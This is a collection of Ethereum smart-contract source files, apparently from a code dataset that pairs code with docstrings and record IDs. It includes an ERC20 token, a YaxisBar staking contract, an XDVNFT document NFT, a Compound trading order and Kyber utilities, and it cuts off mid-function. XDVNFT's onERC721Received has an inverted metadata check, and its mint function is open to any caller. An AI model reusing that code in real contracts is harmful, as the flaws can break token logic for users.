mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} } // YaxisBar is the coolest bar in town. You come in with some YAX, and leave with more! The longer you stay, the more YAX you get. // This contract handles swapping to and from sYAX, Yaxis's staking token. contract YaxisBar is ERC20("Staked yAxis", "sYAX"){ using SafeMath for uint; IERC20 public yax; address public governance; uint public constant BLOCKS_PER_WEEK = 46500; // Block number when each epoch ends. uint[6] public epEndBlks; // Reward rate for each of 5 epoches: uint[6] public epRwdPerBlks = [129032258064516000, 96774193548387100, 64516129032258100, 32258064516129000, 16129032258064500, 0]; uint[6] public accReleasedRwds; // Define the Yaxis token contract constructor(IERC20 _yax, uint _startBlock) public { require(block.number < _startBlock, "passed _startBlock"); yax = _yax; epEndBlks[0] = _startBlock; epEndBlks[1] = epEndBlks[0] + BLOCKS_PER_WEEK * 2; // weeks 1-2 epEndBlks[2] = epEndBlks[1] + BLOCKS_PER_WEEK * 2; // weeks 3-4 epEndBlks[3] = epEndBlks[2] + BLOCKS_PER_WEEK * 4; // month 2 epEndBlks[4] = epEndBlks[3] + BLOCKS_PER_WEEK * 8; // month 3-4 epEndBlks[5] = epEndBlks[4] + BLOCKS_PER_WEEK * 8; // month 5-6 accReleasedRwds[0] = 0; for (uint8 _epid = 1; _epid < 6; ++_epid) { // a[i] = (eb[i] - eb[i-1]) * r[i-1] + a[i-1] accReleasedRwds[_epid] = epEndBlks[_epid].sub(epEndBlks[_epid - 1]).mul(epRwdPerBlks[_epid - 1]).add(accReleasedRwds[_epid - 1]); } governance = msg.sender; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function releasedRewards() public view returns (uint) { uint _block = block.number; if (_block >= epEndBlks[5]) return accReleasedRwds[5]; for (uint8 _epid = 5; _epid >= 1; --_epid) { if (_block >= epEndBlks[_epid - 1]) { return _block.sub(epEndBlks[_epid - 1]).mul(epRwdPerBlks[_epid - 1]).add(accReleasedRwds[_epid - 1]); } } return 0; } // @dev Return balance (deposited YAX + MV earning + any external yeild) plus released rewards // Read YIP-03, YIP-04 and YIP-05 for more details. function availableBalance() public view returns (uint) { return yax.balanceOf(address(this)).add(releasedRewards()).sub(accReleasedRwds[5]); } // Enter the bar. Pay some YAXs. Earn some shares. // Locks Yaxis and mints sYAX function enter(uint _amount) public { require(_amount > 0, "!_amount"); // Gets the amount of available YAX locked in the contract uint _totalYaxis = availableBalance(); // Gets the amount of sYAX in existence uint _totalShares = totalSupply(); if (_totalShares == 0 || _totalYaxis == 0) { // If no sYAX exists, mint it 1:1 to the amount put in _mint(msg.sender, _amount); } else { // Calculate and mint the amount of sYAX the YAX is worth. The ratio will change overtime, as sYAX is burned/minted and YAX deposited + gained from fees / withdrawn. uint what = _amount.mul(_totalShares).div(_totalYaxis); _mint(msg.sender, what); } // Lock the YAX in the contract yax.transferFrom(msg.sender, address(this), _amount); } // Leave the bar. Claim back your YAX. // Unlocks the staked + gained YAX and burns sYAX function leave(uint _share) public { require(_share > 0, "!_share"); // Gets the amount of available YAX locked in the contract uint _totalYaxis = availableBalance(); // Gets the amount of sYAX in existence uint _totalShares = totalSupply(); // Calculates the amount of YAX the sYAX is worth uint what = _share.mul(_totalYaxis).div(_totalShares); _burn(msg.sender, _share); yax.transfer(msg.sender, what); } // @dev Burn all sYAX you have and get back YAX. function exit() public { leave(balanceOf(msg.sender)); } // @dev price of 1 sYAX over YAX (should increase gradiently over time) function getPricePerFullShare() external view returns (uint) { uint _ts = totalSupply(); return (_ts == 0) ? 1e18 : availableBalance().mul(1e18).div(_ts); } // @dev expected compounded APY mul 10000 (for decimal precision) function compounded_apy() external view returns (uint) { uint _ts = totalSupply(); if (_ts == 0) return 0; uint _block = block.number; if (_block <= epEndBlks[0]) return 0; uint _released = releasedRewards(); uint _ab = availableBalance(); uint _extraYield = (_ab <= _ts) ? 0 : _ab.sub(_ts); uint _earnedPerYear = _released.add(_extraYield).mul(2400000).div(_block.sub(epEndBlks[0])); // approximately 2,400,000 blocks / year return _earnedPerYear.mul(10000).div(_ts); } // @dev expected incentive APY (unstable) mul 10000 (for decimal precision) function incentive_apy() external view returns (uint) { uint _ts = totalSupply(); if (_ts == 0) return 0; return yaxPerBlock().mul(2400000).mul(10000).div(_ts); // approximately 2,400,000 blocks / year } // @dev return current reward (YAX) per block function yaxPerBlock() public view returns (uint) { uint _block = block.number; if (_block <= epEndBlks[0] || _block >= epEndBlks[5]) return 0; for (uint8 _epid = 1; _epid < 6; ++_epid) { if (_block < epEndBlks[_epid]) { return epRwdPerBlks[_epid - 1]; } } return 0; } // This function allows governance to take unsupported tokens (non-core) out of the contract. This is in an effort to make someone whole, should they seriously mess up. // There is no guarantee governance will vote to return these. It also allows for removal of airdropped tokens. function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external { require(msg.sender == governance, "!governance"); require(address(_token) != address(yax), "YAX"); require(address(_token) != address(this), "sYAX"); _token.transfer(_to, _amount); } }
price of 1 sYAX over YAX (should increase gradiently over time)
function getPricePerFullShare() external view returns (uint) { uint _ts = totalSupply(); return (_ts == 0) ? 1e18 : availableBalance().mul(1e18).div(_ts); }
1,106,112
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "./ICredentialRegistry.sol"; // a NFT secure document contract XDVNFT is ERC721Burnable, ERC721Pausable, ERC721URIStorage, Ownable, IERC721Receiver { using Counters for Counters.Counter; Counters.Counter private _tokenIds; IERC20 public stablecoin; address public verifierAddress; uint256 public serviceFeeForPaymentAddress = 0; uint256 public serviceFeeForContract = 0; event Withdrawn(address indexed paymentAddress, uint256 amount); event ServiceFeePaid( address indexed from, uint256 paidToContract, uint256 paidToPaymentAddress ); /** * XDVNFT Data Token */ constructor( string memory name, string memory symbol, address tokenERC20, address verifierAddr ) ERC721(name, symbol) { stablecoin = IERC20(tokenERC20); verifierAddress = verifierAddr; } function setServiceFeeForPaymentAddress(uint256 _fee) public onlyOwner { serviceFeeForPaymentAddress = _fee; } function setServiceFeeForContract(uint256 _fee) public onlyOwner { serviceFeeForContract = _fee; } /** * @dev Mints a XDV Data Token */ function mint(address user, string memory uri) public returns (uint256) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(user, newItemId); _setTokenURI(newItemId, uri); return newItemId; } /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Verify operator require(operator == verifierAddress, "Invalid verifier"); // Verify owner owns token id address owned = ownerOf(tokenId); require(owned == from, "Invalid token id owner"); ( string memory _metadata, uint256 _tokenId ) = abi.decode( data, (string, uint256) ); require(bytes(_metadata).length == 0, "Empty metadata"); // set metadata URI _setTokenURI(_tokenId, _metadata); return this.onERC721Received.selector; } /** * @dev Just overrides the superclass' function. Fixes inheritance * source: https://forum.openzeppelin.com/t/how-do-inherit-from-erc721-erc721enumerable-and-erc721uristorage-in-v4-of-openzeppelin-contracts/6656/4 */ function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } /** * @dev Just overrides the superclass' function. Fixes inheritance * source: https://forum.openzeppelin.com/t/how-do-inherit-from-erc721-erc721enumerable-and-erc721uristorage-in-v4-of-openzeppelin-contracts/6656/4 */ function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Pausable) { require(!paused(), "XDV: Token execution is paused"); if (from == address(0)) { paymentBeforeMint(msg.sender); } super._beforeTokenTransfer(from, to, tokenId); } /** * @dev tries to execute the payment when the token is minted. * Reverts if the payment procedure could not be completed. */ function paymentBeforeMint(address tokenHolder) internal virtual { // Transfer tokens to pay service fee require( stablecoin.transferFrom( tokenHolder, address(this), serviceFeeForContract ), "XDV: Transfer failed for recipient" ); emit ServiceFeePaid( tokenHolder, serviceFeeForContract, serviceFeeForPaymentAddress ); } function withdrawBalance(address payable payee) public onlyOwner { uint256 balance = stablecoin.balanceOf(address(this)); require(stablecoin.transfer(payee, balance), "XDV: Transfer failed"); emit Withdrawn(payee, balance); } }
Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} by `operator` from `from`, this function is called. It must return its Solidity selector to confirm the token transfer. If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`./ Verify operator Verify owner owns token id set metadata URI
function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { require(operator == verifierAddress, "Invalid verifier"); address owned = ownerOf(tokenId); require(owned == from, "Invalid token id owner"); ( string memory _metadata, uint256 _tokenId ) = abi.decode( data, (string, uint256) ); require(bytes(_metadata).length == 0, "Empty metadata"); _setTokenURI(_tokenId, _metadata); return this.onERC721Received.selector; }
7,242,546
pragma solidity 0.5.17; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "../interfaces/Comptroller.sol"; import "../interfaces/PriceOracle.sol"; import "../interfaces/CERC20.sol"; import "../interfaces/CEther.sol"; import "../Utils.sol"; contract CompoundOrder is Utils(address(0), address(0), address(0)), Ownable { // Constants uint256 internal constant NEGLIGIBLE_DEBT = 100; // we don't care about debts below 10^-4 USDC (0.1 cent) uint256 internal constant MAX_REPAY_STEPS = 3; // Max number of times we attempt to repay remaining debt uint256 internal constant DEFAULT_LIQUIDITY_SLIPPAGE = 10 ** 12; // 1e-6 slippage for redeeming liquidity when selling order uint256 internal constant FALLBACK_LIQUIDITY_SLIPPAGE = 10 ** 15; // 0.1% slippage for redeeming liquidity when selling order uint256 internal constant MAX_LIQUIDITY_SLIPPAGE = 10 ** 17; // 10% max slippage for redeeming liquidity when selling order // Contract instances Comptroller public COMPTROLLER; // The Compound comptroller PriceOracle public ORACLE; // The Compound price oracle CERC20 public CUSDC; // The Compound USDC market token address public CETH_ADDR; // Instance variables uint256 public stake; uint256 public collateralAmountInUSDC; uint256 public loanAmountInUSDC; uint256 public cycleNumber; uint256 public buyTime; // Timestamp for order execution uint256 public outputAmount; // Records the total output USDC after order is sold address public compoundTokenAddr; bool public isSold; bool public orderType; // True for shorting, false for longing bool internal initialized; constructor() public {} function init( address _compoundTokenAddr, uint256 _cycleNumber, uint256 _stake, uint256 _collateralAmountInUSDC, uint256 _loanAmountInUSDC, bool _orderType, address _usdcAddr, address payable _kyberAddr, address _comptrollerAddr, address _priceOracleAddr, address _cUSDCAddr, address _cETHAddr ) public { require(!initialized); initialized = true; // Initialize details of order require(_compoundTokenAddr != _cUSDCAddr); require(_stake > 0 && _collateralAmountInUSDC > 0 && _loanAmountInUSDC > 0); // Validate inputs stake = _stake; collateralAmountInUSDC = _collateralAmountInUSDC; loanAmountInUSDC = _loanAmountInUSDC; cycleNumber = _cycleNumber; compoundTokenAddr = _compoundTokenAddr; orderType = _orderType; COMPTROLLER = Comptroller(_comptrollerAddr); ORACLE = PriceOracle(_priceOracleAddr); CUSDC = CERC20(_cUSDCAddr); CETH_ADDR = _cETHAddr; USDC_ADDR = _usdcAddr; KYBER_ADDR = _kyberAddr; usdc = ERC20Detailed(_usdcAddr); kyber = KyberNetwork(_kyberAddr); // transfer ownership to msg.sender _transferOwnership(msg.sender); } /** * @notice Executes the Compound order * @param _minPrice the minimum token price * @param _maxPrice the maximum token price */ function executeOrder(uint256 _minPrice, uint256 _maxPrice) public; /** * @notice Sells the Compound order and returns assets to PeakDeFiFund * @param _minPrice the minimum token price * @param _maxPrice the maximum token price */ function sellOrder(uint256 _minPrice, uint256 _maxPrice) public returns (uint256 _inputAmount, uint256 _outputAmount); /** * @notice Repays the loans taken out to prevent the collateral ratio from dropping below threshold * @param _repayAmountInUSDC the amount to repay, in USDC */ function repayLoan(uint256 _repayAmountInUSDC) public; /** * @notice Emergency method, which allow to transfer selected tokens to the fund address * @param _tokenAddr address of withdrawn token * @param _receiver address who should receive tokens */ function emergencyExitTokens(address _tokenAddr, address _receiver) public onlyOwner { ERC20Detailed token = ERC20Detailed(_tokenAddr); token.safeTransfer(_receiver, token.balanceOf(address(this))); } function getMarketCollateralFactor() public view returns (uint256); function getCurrentCollateralInUSDC() public returns (uint256 _amount); function getCurrentBorrowInUSDC() public returns (uint256 _amount); function getCurrentCashInUSDC() public view returns (uint256 _amount); /** * @notice Calculates the current profit in USDC * @return the profit amount */ function getCurrentProfitInUSDC() public returns (bool _isNegative, uint256 _amount) { uint256 l; uint256 r; if (isSold) { l = outputAmount; r = collateralAmountInUSDC; } else { uint256 cash = getCurrentCashInUSDC(); uint256 supply = getCurrentCollateralInUSDC(); uint256 borrow = getCurrentBorrowInUSDC(); if (cash >= borrow) { l = supply.add(cash); r = borrow.add(collateralAmountInUSDC); } else { l = supply; r = borrow.sub(cash).mul(PRECISION).div(getMarketCollateralFactor()).add(collateralAmountInUSDC); } } if (l >= r) { return (false, l.sub(r)); } else { return (true, r.sub(l)); } } /** * @notice Calculates the current collateral ratio on Compound, using 18 decimals * @return the collateral ratio */ function getCurrentCollateralRatioInUSDC() public returns (uint256 _amount) { uint256 supply = getCurrentCollateralInUSDC(); uint256 borrow = getCurrentBorrowInUSDC(); if (borrow == 0) { return uint256(-1); } return supply.mul(PRECISION).div(borrow); } /** * @notice Calculates the current liquidity (supply - collateral) on the Compound platform * @return the liquidity */ function getCurrentLiquidityInUSDC() public returns (bool _isNegative, uint256 _amount) { uint256 supply = getCurrentCollateralInUSDC(); uint256 borrow = getCurrentBorrowInUSDC().mul(PRECISION).div(getMarketCollateralFactor()); if (supply >= borrow) { return (false, supply.sub(borrow)); } else { return (true, borrow.sub(supply)); } } function __sellUSDCForToken(uint256 _usdcAmount) internal returns (uint256 _actualUSDCAmount, uint256 _actualTokenAmount) { ERC20Detailed t = __underlyingToken(compoundTokenAddr); (,, _actualTokenAmount, _actualUSDCAmount) = __kyberTrade(usdc, _usdcAmount, t); // Sell USDC for tokens on Kyber require(_actualUSDCAmount > 0 && _actualTokenAmount > 0); // Validate return values } function __sellTokenForUSDC(uint256 _tokenAmount) internal returns (uint256 _actualUSDCAmount, uint256 _actualTokenAmount) { ERC20Detailed t = __underlyingToken(compoundTokenAddr); (,, _actualUSDCAmount, _actualTokenAmount) = __kyberTrade(t, _tokenAmount, usdc); // Sell tokens for USDC on Kyber require(_actualUSDCAmount > 0 && _actualTokenAmount > 0); // Validate return values } // Convert a USDC amount to the amount of a given token that's of equal value function __usdcToToken(address _cToken, uint256 _usdcAmount) internal view returns (uint256) { ERC20Detailed t = __underlyingToken(_cToken); return _usdcAmount.mul(PRECISION).div(10 ** getDecimals(usdc)).mul(10 ** getDecimals(t)).div(ORACLE.getUnderlyingPrice(_cToken).mul(10 ** getDecimals(t)).div(PRECISION)); } // Convert a compound token amount to the amount of USDC that's of equal value function __tokenToUSDC(address _cToken, uint256 _tokenAmount) internal view returns (uint256) { return _tokenAmount.mul(ORACLE.getUnderlyingPrice(_cToken)).div(PRECISION).mul(10 ** getDecimals(usdc)).div(PRECISION); } function __underlyingToken(address _cToken) internal view returns (ERC20Detailed) { if (_cToken == CETH_ADDR) { // ETH return ETH_TOKEN_ADDRESS; } CERC20 ct = CERC20(_cToken); address underlyingToken = ct.underlying(); ERC20Detailed t = ERC20Detailed(underlyingToken); return t; } function() external payable {} } pragma solidity ^0.5.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity 0.5.17; // Compound finance comptroller interface Comptroller { function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function markets(address cToken) external view returns (bool isListed, uint256 collateralFactorMantissa); } pragma solidity 0.5.17; // Compound finance's price oracle interface PriceOracle { // returns the price of the underlying token in USD, scaled by 10**(36 - underlyingPrecision) function getUnderlyingPrice(address cToken) external view returns (uint); } pragma solidity 0.5.17; // Compound finance ERC20 market interface interface CERC20 { function mint(uint mintAmount) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function exchangeRateCurrent() external returns (uint); function balanceOf(address account) external view returns (uint); function decimals() external view returns (uint); function underlying() external view returns (address); } pragma solidity 0.5.17; // Compound finance Ether market interface interface CEther { function mint() external payable; function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow() external payable; function borrowBalanceCurrent(address account) external returns (uint); function exchangeRateCurrent() external returns (uint); function balanceOf(address account) external view returns (uint); function decimals() external view returns (uint); } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/KyberNetwork.sol"; import "./interfaces/OneInchExchange.sol"; /** * @title The smart contract for useful utility functions and constants. * @author Zefram Lou (Zebang Liu) */ contract Utils { using SafeMath for uint256; using SafeERC20 for ERC20Detailed; /** * @notice Checks if `_token` is a valid token. * @param _token the token's address */ modifier isValidToken(address _token) { require(_token != address(0)); if (_token != address(ETH_TOKEN_ADDRESS)) { require(isContract(_token)); } _; } address public USDC_ADDR; address payable public KYBER_ADDR; address payable public ONEINCH_ADDR; bytes public constant PERM_HINT = "PERM"; // The address Kyber Network uses to represent Ether ERC20Detailed internal constant ETH_TOKEN_ADDRESS = ERC20Detailed(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); ERC20Detailed internal usdc; KyberNetwork internal kyber; uint256 constant internal PRECISION = (10**18); uint256 constant internal MAX_QTY = (10**28); // 10B tokens uint256 constant internal ETH_DECIMALS = 18; uint256 constant internal MAX_DECIMALS = 18; constructor( address _usdcAddr, address payable _kyberAddr, address payable _oneInchAddr ) public { USDC_ADDR = _usdcAddr; KYBER_ADDR = _kyberAddr; ONEINCH_ADDR = _oneInchAddr; usdc = ERC20Detailed(_usdcAddr); kyber = KyberNetwork(_kyberAddr); } /** * @notice Get the number of decimals of a token * @param _token the token to be queried * @return number of decimals */ function getDecimals(ERC20Detailed _token) internal view returns(uint256) { if (address(_token) == address(ETH_TOKEN_ADDRESS)) { return uint256(ETH_DECIMALS); } return uint256(_token.decimals()); } /** * @notice Get the token balance of an account * @param _token the token to be queried * @param _addr the account whose balance will be returned * @return token balance of the account */ function getBalance(ERC20Detailed _token, address _addr) internal view returns(uint256) { if (address(_token) == address(ETH_TOKEN_ADDRESS)) { return uint256(_addr.balance); } return uint256(_token.balanceOf(_addr)); } /** * @notice Calculates the rate of a trade. The rate is the price of the source token in the dest token, in 18 decimals. * Note: the rate is on the token level, not the wei level, so for example if 1 Atoken = 10 Btoken, then the rate * from A to B is 10 * 10**18, regardless of how many decimals each token uses. * @param srcAmount amount of source token * @param destAmount amount of dest token * @param srcDecimals decimals used by source token * @param dstDecimals decimals used by dest token */ function calcRateFromQty(uint256 srcAmount, uint256 destAmount, uint256 srcDecimals, uint256 dstDecimals) internal pure returns(uint) { require(srcAmount <= MAX_QTY); require(destAmount <= MAX_QTY); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount)); } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount); } } /** * @notice Wrapper function for doing token conversion on Kyber Network * @param _srcToken the token to convert from * @param _srcAmount the amount of tokens to be converted * @param _destToken the destination token * @return _destPriceInSrc the price of the dest token, in terms of source tokens * _srcPriceInDest the price of the source token, in terms of dest tokens * _actualDestAmount actual amount of dest token traded * _actualSrcAmount actual amount of src token traded */ function __kyberTrade(ERC20Detailed _srcToken, uint256 _srcAmount, ERC20Detailed _destToken) internal returns( uint256 _destPriceInSrc, uint256 _srcPriceInDest, uint256 _actualDestAmount, uint256 _actualSrcAmount ) { require(_srcToken != _destToken); uint256 beforeSrcBalance = getBalance(_srcToken, address(this)); uint256 msgValue; if (_srcToken != ETH_TOKEN_ADDRESS) { msgValue = 0; _srcToken.safeApprove(KYBER_ADDR, 0); _srcToken.safeApprove(KYBER_ADDR, _srcAmount); } else { msgValue = _srcAmount; } _actualDestAmount = kyber.tradeWithHint.value(msgValue)( _srcToken, _srcAmount, _destToken, toPayableAddr(address(this)), MAX_QTY, 1, address(0), PERM_HINT ); _actualSrcAmount = beforeSrcBalance.sub(getBalance(_srcToken, 